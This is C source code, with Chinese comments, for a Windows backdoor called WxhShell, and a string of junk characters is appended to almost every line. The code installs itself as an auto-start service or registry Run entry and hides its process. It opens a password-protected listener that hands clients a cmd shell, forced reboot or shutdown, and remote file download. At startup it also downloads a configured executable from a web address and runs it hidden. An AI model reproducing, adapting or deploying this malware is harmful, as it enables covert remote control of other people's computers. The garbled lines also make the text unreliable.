    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TkBHlTa"=  
    if(Boot(SHUTDOWN)) gNUYHNzDM(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u%!/-&?wF  
    else { ose(#n40  
    closesocket(wsh); nm Y_)s  
    ExitThread(0); nl5A{ s  
    } aS=-9P;v  
    break; < KG q  
    } E2K{9@i  
  // 获取shell _wH>h$E  
  case 's': { VkdGGY  
    CmdShell(wsh); Vdd HK  
    closesocket(wsh); d<K2 \:P{}  
    ExitThread(0); r2yJ{j&s  
    break; ti'B}bH>'  
  } Bs)'Gk`1  
  // 退出 0Un?[O  
  case 'x': { oq${}n<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3>M%?d  
    CloseIt(wsh); B\S}*IE  
    break; B>.x@(}V~  
    }  |W_;L6)  
  // 离开 ORuC("  
  case 'q': { K*I!:1;3N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /9ctmW1!<  
    closesocket(wsh); U}@xMt8@l  
    WSACleanup(); *IX<&u#  
    exit(1); +`,;tz=?  
    break; `>)[UG!:|  
        } 2Pow-o*r  
  } )G#mC0?PV  
  } /| q .q  
qYoB;gp  
  // 提示信息 ^G|* =~_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vMd3#@  
} o1`\*]A7J  
  } I+=+ ,iXhB  
TZ&X0x8  
  return; J0V`sK  
} Z<^;Ybw{`Z  
w=pr?jt1:  
// shell模块句柄 'X<4";$mU  
int CmdShell(SOCKET sock) m8@&-,T   
{ !iO2yp  
STARTUPINFO si; $Nd,6w*`  
ZeroMemory(&si,sizeof(si)); ?iZ2sRWR6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mG"xo^1_H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %UAF~2]g  
PROCESS_INFORMATION ProcessInfo; m _cRK}>  
char cmdline[]="cmd"; 28k=@k^q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CP~mKmMV  
  return 0; &&nbdu  
} 4 km^S9  
2n)?)w]!M  
// 自身启动模式 p^CTHk_|  
int StartFromService(void) #x;,RPw5  
{  />Q}0H g  
typedef struct aaP_^m O  
{ NV7k@7_{B  
  DWORD ExitStatus; !_vxbfZO  
  DWORD PebBaseAddress; SE'!j]6jI  
  DWORD AffinityMask; Z\?2"4H  
  DWORD BasePriority; \ ?pyax8  
  ULONG UniqueProcessId; tI1OmhNN  
  ULONG InheritedFromUniqueProcessId; LH)XD[  
}   PROCESS_BASIC_INFORMATION; I)tiXcJw  
Fvf |m7  
PROCNTQSIP NtQueryInformationProcess; ~: {05W  
M@#T`aS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9.8%Iw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vfc:ok1  
s3HVX'   
  HANDLE             hProcess; ;-6-DEL  
  PROCESS_BASIC_INFORMATION pbi; |GtvgvO,  
y{S8?$dU$:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d2V X\  
  if(NULL == hInst ) return 0;  V\o7KF  
V:$+$"|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RN[I%^$"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SRwD`FF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #8|LPfA  
i|J%jA  
  if (!NtQueryInformationProcess) return 0; <XIIT-b[  
qT48Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oQ 2$z8  
  if(!hProcess) return 0; #0>xa]S  
MC* Hl`C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^cm ] [9  
ZUHRATT-  
  CloseHandle(hProcess); 7~SwNt,  
`PC9t)%.pV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F}5d>nw  
if(hProcess==NULL) return 0; 6Q^~O*cw  
V&w2pp0  
HMODULE hMod; 7~ PL8  
char procName[255]; 2%dL96  
unsigned long cbNeeded; &}r"Z?f)  
fes s6=k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b, Oh8O;>  
N7?B"p/  
  CloseHandle(hProcess); H5T_i$W  
G18w3BFx  
if(strstr(procName,"services")) return 1; // 以服务启动 ]K"&Vd  
O\6U2b~  
  return 0; // 注册表启动 _dJ(h6%3  
} 5J10S  
6RnzT d  
// 主模块 64<;6*  
int StartWxhshell(LPSTR lpCmdLine) 8NWo)y49H  
{ Snx!^4+MF  
  SOCKET wsl; a YWWln  
BOOL val=TRUE; $VuXr=f}  
  int port=0; ){*+s RBW  
  struct sockaddr_in door; c2y,zq|H  
r 3W3;L   
  if(wscfg.ws_autoins) Install(); K]hp-QK<  
$"r9U|6kk  
port=atoi(lpCmdLine); c-sjYJXKM*  
,~1"50 Hp@  
if(port<=0) port=wscfg.ws_port; d9K8[Q5^3  
qhEv6Yxfw6  
  WSADATA data; .UG`pRC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?13qDD:  
fSkDD>&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `POzwYh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wI$ a1H  
  door.sin_family = AF_INET; {FNkPX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n t}7|h|  
  door.sin_port = htons(port); 0NXH449I=  
m Qj=-\p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { # ]7Lieh[5  
closesocket(wsl); *\sPHz.  
return 1; ;2p+i/sVj  
} tAdE<).!  
 .Q{RT p  
  if(listen(wsl,2) == INVALID_SOCKET) { SIe!=F[  
closesocket(wsl); |eqBCZn  
return 1; \D7bTn  
} : ?>7Z6  
  Wxhshell(wsl); CD$#}Id  
  WSACleanup(); 'X^auyL  
Y`;}w}EcgR  
return 0; e-nA>v  
@^P^- B  
} CKYg!\g(:  
CM;b_E)9)f  
// 以NT服务方式启动 =p+y$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !%iHJwS#  
{ E TT46%Y  
DWORD   status = 0; (W ~K1]  
  DWORD   specificError = 0xfffffff; ZK5nN9`  
ZJYn[\]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qp>leEs]+6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CU'JvVe3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l~c[}wv  
  serviceStatus.dwWin32ExitCode     = 0; CMa6':~  
  serviceStatus.dwServiceSpecificExitCode = 0; ~r1pO#r-  
  serviceStatus.dwCheckPoint       = 0; &Y{^yb  
  serviceStatus.dwWaitHint       = 0; }LzBo\  
M/zO|-j&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,_2-Op  
  if (hServiceStatusHandle==0) return; T5S4,.o9W  
Yj %]|E-  
status = GetLastError(); p3I"LY  
  if (status!=NO_ERROR) 3JCo!n0   
{ ]&cnc8tC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :xd;=;q5  
    serviceStatus.dwCheckPoint       = 0; . %RM8  
    serviceStatus.dwWaitHint       = 0; 1Kg0y71"  
    serviceStatus.dwWin32ExitCode     = status; f7Gn$E|/r;  
    serviceStatus.dwServiceSpecificExitCode = specificError; d1b] +AG4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;cor\ R  
    return; dzf2`@8#  
  } |>.Q U3  
Cp8=8N(Xb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Nwvlv{k'  
  serviceStatus.dwCheckPoint       = 0; EBj^4=b[  
  serviceStatus.dwWaitHint       = 0; (WM3(US|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aurs~  
} vg z`+Zj*S  
"y1Iu   
// 处理NT服务事件,比如:启动、停止 YR%iZ"`*+O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NAbVH{*\U  
{ dbI>\khI  
switch(fdwControl) .tngN<f  
{ ~zVxprEf_  
case SERVICE_CONTROL_STOP: mk-{@$QJb  
  serviceStatus.dwWin32ExitCode = 0; XzUGlrp:Y#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'xwCeZcg  
  serviceStatus.dwCheckPoint   = 0; 1U 6B$(V^i  
  serviceStatus.dwWaitHint     = 0; bc)>h!'Y  
  { 2hh8G5IaQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iOE. .xA:  
  } K7 e~%mY  
  return; [a=exK  
case SERVICE_CONTROL_PAUSE: |Splbs k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %opBJ   
  break; xoaO=7\io  
case SERVICE_CONTROL_CONTINUE: +$2{u_m,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f6Qr0Op  
  break; ZN[<=w&(cB  
case SERVICE_CONTROL_INTERROGATE: \br!77  
  break; Ey6R/M)?:y  
}; p>6`jr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bO '\QtW9  
} V%Uj\cv  
,_[x|8m  
// 标准应用程序主函数 ><V*`{bD9)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m,l/=M  
{ O%b byR2  
F3tps jQ  
// 获取操作系统版本 gQ1 obT"|  
OsIsNt=GetOsVer(); SN{z)q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cux(v8=n  
8{ zX=  
  // 从命令行安装 7T~ M`$h  
  if(strpbrk(lpCmdLine,"iI")) Install(); )*')  
1+l8%G=hB  
  // 下载执行文件 |P|B"I<?  
if(wscfg.ws_downexe) { Bo 35L:r|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tFN >]`Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); dzVi ~wt_&  
} U|^xr~q!f-  
$=aO*i  
if(!OsIsNt) { @6u/)>rI  
// 如果时win9x,隐藏进程并且设置为注册表启动 5&]5*;BvJ  
HideProc(); mH*ldf;J;=  
StartWxhshell(lpCmdLine); %,>z`D,Hg  
} h ><Sp*z_V  
else E$8JrL  
  if(StartFromService()) mx c)Wm<4  
  // 以服务方式启动 Q7%4`_$!  
  StartServiceCtrlDispatcher(DispatchTable); b 2gng}  
else 6Q.S  
  // 普通方式启动 QY\k3hiqn  
  StartWxhshell(lpCmdLine); dcz?5O_{,  
_|k$[^ln^  
return 0; ZsmOn#`=^}  
} 2RiJm"   
9 {4yC9Oz>  
\kADh?phV  
sNf& "C!;  
===========================================   f XD+  
@d75X YKu  
|tXA$}"L8  
4l D$'`  
 q+P@2FL  
m[DQ;`Y  
" rhv~H"qzW  
3Ax'v|&Hg  
#include <stdio.h> ]#!uke Q  
#include <string.h> ((y|?Z$  
#include <windows.h> kA :Y^2X'  
#include <winsock2.h> Fs+ tcr/\[  
#include <winsvc.h> O zAIz+`  
#include <urlmon.h> 4kOO3[r  
)G[byBa  
#pragma comment (lib, "Ws2_32.lib") % rBz A<  
#pragma comment (lib, "urlmon.lib") 1S{Biqi+  
ofvR0yV  
#define MAX_USER   100 // 最大客户端连接数 w.qtSW6M+  
#define BUF_SOCK   200 // sock buffer BN/ 4O?jD9  
#define KEY_BUFF   255 // 输入 buffer C]^Ep  
i'~-\F!  
#define REBOOT     0   // 重启 xR7ZqTcw  
#define SHUTDOWN   1   // 关机 Gnc`CyN:H  
Vl^(K_`(  
#define DEF_PORT   5000 // 监听端口 ~!S3J2kG{  
)^(*B6;z5  
#define REG_LEN     16   // 注册表键长度 Zxk~X}K\P  
#define SVC_LEN     80   // NT服务名长度 iL/c^(1  
UG| /Px ]  
// 从dll定义API SZ` 7t=I2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]a3$hAcj6"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %nA})nA7=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q0sf\|'<}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dFg>uo  
 tV}!_  
// wxhshell配置信息 JK,MK|  
struct WSCFG { #w$Y1bjn  
  int ws_port;         // 监听端口 {Jr1K,  
  char ws_passstr[REG_LEN]; // 口令 `Rq=:6U;3  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8|&,JdT  
  char ws_regname[REG_LEN]; // 注册表键名 -4Qub{Uym  
  char ws_svcname[REG_LEN]; // 服务名 -V$|t<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jNZ .Fb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ) u?f| D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8R~<$ xz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l;8t%JV5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?%kgfw@)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yD[d%w  
\;;M")$  
}; T,38Pu@r  
,@$5,rNf  
// default Wxhshell configuration g[xoS\d  
struct WSCFG wscfg={DEF_PORT, 0uy'Py@2<  
    "xuhuanlingzhe", # :+Nr  
    1, 4jT6h9%  
    "Wxhshell", /2^L;#  
    "Wxhshell", "2%z;!U1  
            "WxhShell Service", ?0qVyK_1  
    "Wrsky Windows CmdShell Service", s 6Wp"V(  
    "Please Input Your Password: ", 0TN28:hcD  
  1, so))J`ca)  
  "http://www.wrsky.com/wxhshell.exe", u=`H n-(  
  "Wxhshell.exe" .1QGNW  
    }; *CN *G"  
1(' wg!  
// 消息定义模块 7UTfafOGX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5D s[?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [@$ SLl^Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]:%DDlRb  
char *msg_ws_ext="\n\rExit."; ?G{0{ c2  
char *msg_ws_end="\n\rQuit."; >t+ ENYb  
char *msg_ws_boot="\n\rReboot..."; &61U1"&$R  
char *msg_ws_poff="\n\rShutdown..."; lZzW- %K  
char *msg_ws_down="\n\rSave to "; )@]%:m!ER  
7w )?s@CD  
char *msg_ws_err="\n\rErr!"; "O$bq::(]e  
char *msg_ws_ok="\n\rOK!"; G?4@[m  
O]:9va  
char ExeFile[MAX_PATH]; t FU4%c7V  
int nUser = 0; k@xinK%O{  
HANDLE handles[MAX_USER]; A;cA|`b  
int OsIsNt; _|~Dj)z  
=<\22d5L  
SERVICE_STATUS       serviceStatus; R~<N*En~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :>-zT[Lcn  
XQ1]F{?/H  
// 函数声明 18$d-[hX  
int Install(void); H3wJ5-q(  
int Uninstall(void); q@.>eB'92P  
int DownloadFile(char *sURL, SOCKET wsh); IIk_!VzT  
int Boot(int flag); jN6V`Wh_  
void HideProc(void); Lf_Y4a#  
int GetOsVer(void); u%-]-:c  
int Wxhshell(SOCKET wsl); pl8b&bLzi  
void TalkWithClient(void *cs); ~cU1 /CW8  
int CmdShell(SOCKET sock); d+n2 c`i  
int StartFromService(void); {lK2yi  
int StartWxhshell(LPSTR lpCmdLine); HDm]njF%qQ  
2gWR2 H@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wd:Yy  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  9q X$  
Y S3~sA  
// 数据结构和表定义 WZa6*pF  
SERVICE_TABLE_ENTRY DispatchTable[] = -TD\?Q  
{ ]*dYX=6  
{wscfg.ws_svcname, NTServiceMain}, s|IBX0^@  
{NULL, NULL} OvH:3 "Sdy  
}; EBhdP  
# epP~J_f  
// 自我安装 9J:|"@)N  
int Install(void) l|q-kRRjn  
{ AA\)BNM  
  char svExeFile[MAX_PATH]; t 7Y*/v&P(  
  HKEY key; @9^OHRZX  
  strcpy(svExeFile,ExeFile); w4fKh  
j"Jf|Hq $  
// 如果是win9x系统,修改注册表设为自启动 %oBP6|e  
if(!OsIsNt) { MlTC?Rp#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XPhP1 ^>\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dgz, Uad8f  
  RegCloseKey(key); n bxY'`8F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 81nD:]7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8T+9 fh]I  
  RegCloseKey(key); >H+t ZV  
  return 0; (wj:Gc  
    } j$ T12  
  } AojL4H|  
} y\v#qFVOZ  
else { ~\=D@G,9  
l8~(bq1  
// 如果是NT以上系统,安装为系统服务 izSX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~vTwuc\(H  
if (schSCManager!=0) eEXNEgbn  
{ cB&_':F  
  SC_HANDLE schService = CreateService -9vNV:c  
  ( U\%r33L )  
  schSCManager, RUY7Y?  
  wscfg.ws_svcname, O=__w *<  
  wscfg.ws_svcdisp, ")KqPD6k  
  SERVICE_ALL_ACCESS, !-MY< '  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `BmnXWMgx  
  SERVICE_AUTO_START, 3cHYe  
  SERVICE_ERROR_NORMAL,  hh4R  
  svExeFile, a!R*O3  
  NULL, L9jT :2F  
  NULL, J0V m&TY  
  NULL, ILr=< j  
  NULL, 1;[KBYUH  
  NULL <T>s;b  
  ); MK3h~`is  
  if (schService!=0) Y. J!]|  
  { \W=3P[gb  
  CloseServiceHandle(schService); #E+ybwA  
  CloseServiceHandle(schSCManager); ]R Ah['u|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1IoW}yT  
  strcat(svExeFile,wscfg.ws_svcname); |ufL s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { brp3xgQ`]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DpggZ|J  
  RegCloseKey(key); )bM,>x  
  return 0; KBM*7raA  
    } N3$1f$`  
  } wa<k%_# M  
  CloseServiceHandle(schSCManager); 3qTr|8`s  
} t U}6^yc  
} )W=O~g  
_-BP?'lN  
return 1; lU 62$2  
} u xyj6(  
7c"Csq/]I  
// 自我卸载 R'sNMWM  
int Uninstall(void) .@): Uh  
{ J4ZHE\  
  HKEY key; j7)mC4o:%  
IP/%=m)\%  
if(!OsIsNt) { a4UwhbH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ='jT 5Mg  
  RegDeleteValue(key,wscfg.ws_regname); j^=Eu r/  
  RegCloseKey(key); NWh1u`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %}(` ?  
  RegDeleteValue(key,wscfg.ws_regname); JPn)Op6  
  RegCloseKey(key); x^@oY5}cr  
  return 0; N!c FUZ5]  
  } e".=E ;o`  
} S3M!"l  
} $B8Vg `+  
else { ^?RH<z  
~1;M4K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |8f}3R 9  
if (schSCManager!=0) 8#;=>m%  
{ W`PJ flr|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YyYZD{^  
  if (schService!=0) 9h|6"6  
  { |!] "y<  
  if(DeleteService(schService)!=0) { p _[,P7  
  CloseServiceHandle(schService); FzEs1hpl  
  CloseServiceHandle(schSCManager); 9287&+,0r  
  return 0; {@CQ (  
  } M 6&=-  
  CloseServiceHandle(schService); 0U~$u  
  } +YZo-tE  
  CloseServiceHandle(schSCManager); sJKr%2nVV  
} F%<*a,m6g  
} !`%j#bv  
XA<h,ONE?  
return 1; oi|N8a2R  
} 5IUdA?  
"x R6~8  
// 从指定url下载文件 ]+Lr'HF  
int DownloadFile(char *sURL, SOCKET wsh) Eu' ;f_s  
{ ]7}!3m  
  HRESULT hr; ~-Kx^3(#  
char seps[]= "/"; 2b7-=/[6  
char *token; 9;Z{++z  
char *file; 1q(Qr h  
char myURL[MAX_PATH]; 3F]Dh^IR9  
char myFILE[MAX_PATH]; #&T O(bk  
k Nc- @B  
strcpy(myURL,sURL); p/ xlR[  
  token=strtok(myURL,seps); v4hrS\M  
  while(token!=NULL) 3N$@K"qM#  
  { "LlQl3"=  
    file=token; &(,\~  
  token=strtok(NULL,seps); ewd eC  
  } mH\zSk  
i#>t<g`l  
GetCurrentDirectory(MAX_PATH,myFILE); ^85Eveu  
strcat(myFILE, "\\"); Soq#cl'll-  
strcat(myFILE, file);  nBp6uNK[  
  send(wsh,myFILE,strlen(myFILE),0); rwJ U;wy  
send(wsh,"...",3,0); l,lqhq\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \{`^Q+<  
  if(hr==S_OK) qK7:[\T|?T  
return 0; %IBT85{  
else _U&HXQ8X  
return 1; UB5H8&Rf!  
Q k}RcP  
} Vm<_e  
D& pn@6bB  
// 系统电源模块 @Pk<3.S0  
int Boot(int flag) B>c$AS\5y  
{ /V09Na,N  
  HANDLE hToken; &u[{VR:  
  TOKEN_PRIVILEGES tkp; Ic4#Tk20i  
/>mK.FT  
  if(OsIsNt) { "'bl)^+?,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eMnK@J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mP\V.^  
    tkp.PrivilegeCount = 1; .F8[;+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O Ol:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Lo'pNJH;$  
if(flag==REBOOT) { Oe1WnS 7(]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KGM__ZO.  
  return 0; N<i5X.X  
} oaqH@`  
else { m|W17LhW{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JWd[zJ[  
  return 0; mq[=,,#  
} 0Q a 0  
  } Y]L4,V  
  else { avq$aq(3&  
if(flag==REBOOT) { 60^j<O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >\[]z^J  
  return 0; OiQf=Uz\  
} : wS&3:h  
else { NH|I>vyN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _ cQ '3@  
  return 0; is8i_FoD,n  
} vcdVck@  
} " Bx@(  
GIzB1cl:  
return 1; Op-z"inw  
} )9"^ D  
2pdeJ  
// win9x进程隐藏模块 FShjUl>mV  
void HideProc(void) I;NW!"pU  
{ Ur#jJR@%3  
c+3`hVV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QO}~"lMj  
  if ( hKernel != NULL ) SM8N*WdiU  
  { zEFS\nP}E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,e43m=KhK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'Wnh1|z  
    FreeLibrary(hKernel); $ 6mShp9(  
  } QUW`Yc  
r\Y,*e  
return; =F$?`q`  
} pgES)  
O8 .xt|  
// 获取操作系统版本 (0.oE%B",1  
int GetOsVer(void) [tk x84M8  
{ f;^ +q-Q  
  OSVERSIONINFO winfo; _ +DL   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FzX ;~CA  
  GetVersionEx(&winfo); %]}JWXo f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?pZU'5le`  
  return 1; 5zBA]1PY  
  else LH(P<k&  
  return 0;  B`e/ /  
} Ck )W=  
Kj4BVs  
// 客户端句柄模块 7FoX)54"  
int Wxhshell(SOCKET wsl) Y:;_R=M  
{ 9SsVJ<9,R  
  SOCKET wsh; `{!A1xKZ  
  struct sockaddr_in client; Hi={(Z5tC4  
  DWORD myID; SX"|~Pi(  
uX_#NP/2  
  while(nUser<MAX_USER) cEu_p2(7!B  
{ 8c.>6 Hy  
  int nSize=sizeof(client); sPi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IrL7%?  
  if(wsh==INVALID_SOCKET) return 1; 'Hx#DhiFz  
HNS^:X R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P}8hK   
if(handles[nUser]==0) %>Gb]dv?  
  closesocket(wsh); :4V5p =v-  
else 9< ?w9D.1  
  nUser++; UCcr>  
  } @>O7/d?O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [T r7SU#x  
Dst;sLr[,  
  return 0; ^WB[uFt-  
} 9f0`HvHC  
y[$UeE"0  
// 关闭 socket Bbs1U  
void CloseIt(SOCKET wsh) 0]7jb_n1  
{ 6Sd:5eTEQ  
closesocket(wsh); ^$P_B-C N  
nUser--; :G 5p`;hGo  
ExitThread(0); K*j OrQf`  
} o4p5`jOG@  
hx0t!k(3  
// 客户端请求句柄 3g!Z[SZ  
void TalkWithClient(void *cs) .t\J @?Z  
{ J.XkdGQ  
ks. p)F>]  
  SOCKET wsh=(SOCKET)cs; _m?i$5  
  char pwd[SVC_LEN]; &6CDIxH{  
  char cmd[KEY_BUFF]; V]--d33/a  
char chr[1]; \2 DED  
int i,j; Ne+Rs+~4  
#d %v=.1  
  while (nUser < MAX_USER) { vxPE=!|  
?VotIruR  
if(wscfg.ws_passstr) { /E<Q_/'Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9e`};DE   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,]0BmlD  
  //ZeroMemory(pwd,KEY_BUFF); d3rjj4N"z  
      i=0; aU;X&g+_)  
  while(i<SVC_LEN) { _UTN4z2aTG  
 dHx4yFS  
  // 设置超时 =)+^y}xb  
  fd_set FdRead; gH(#<f@ZI  
  struct timeval TimeOut; uq]=L  
  FD_ZERO(&FdRead); O:GPuVb\  
  FD_SET(wsh,&FdRead); fGV'l__\\  
  TimeOut.tv_sec=8; Fy5:|C N  
  TimeOut.tv_usec=0; {H,O@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T4:H:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m&=Dy5  
Rp2h[_>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GjwH C{  
  pwd=chr[0]; $MDmY4\  
  if(chr[0]==0xd || chr[0]==0xa) { %TI3Eb  
  pwd=0; jX4$PfOhR  
  break; ^!^M Gzu  
  } -sv%A7i  
  i++; mxCneX  
    } *^@b0f~vj  
>uZc#Zt  
  // 如果是非法用户,关闭 socket 2gK]w$H7!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  Me z&@{  
} s2,6aW C  
D6lzc f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !)oQ9,N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^"<Bk<b(  
m#WXZr  
while(1) { ep3VJ"^  
6k@F?qHS  
  ZeroMemory(cmd,KEY_BUFF); ]/h$6mrL  
'['%b  
      // 自动支持客户端 telnet标准   uM 'n4oH  
  j=0; nL^7t7mp  
  while(j<KEY_BUFF) { `%[m%Y9h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c86?-u')  
  cmd[j]=chr[0]; }f;TG:6  
  if(chr[0]==0xa || chr[0]==0xd) { 1:<n(?5JI  
  cmd[j]=0; p}==aNZK  
  break; "a;$uW@.6  
  } 7@ONCG  
  j++; S ^~"#   
    } , SUx!o  
F}mt *UcMG  
  // 下载文件 GTbV5{Ss  
  if(strstr(cmd,"http://")) { E2}X[EoBF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KJ/Gv#Kj  
  if(DownloadFile(cmd,wsh)) &jEw(P&_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /NB|N*}O)  
  else KU "+i8"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Il\{m?Y  
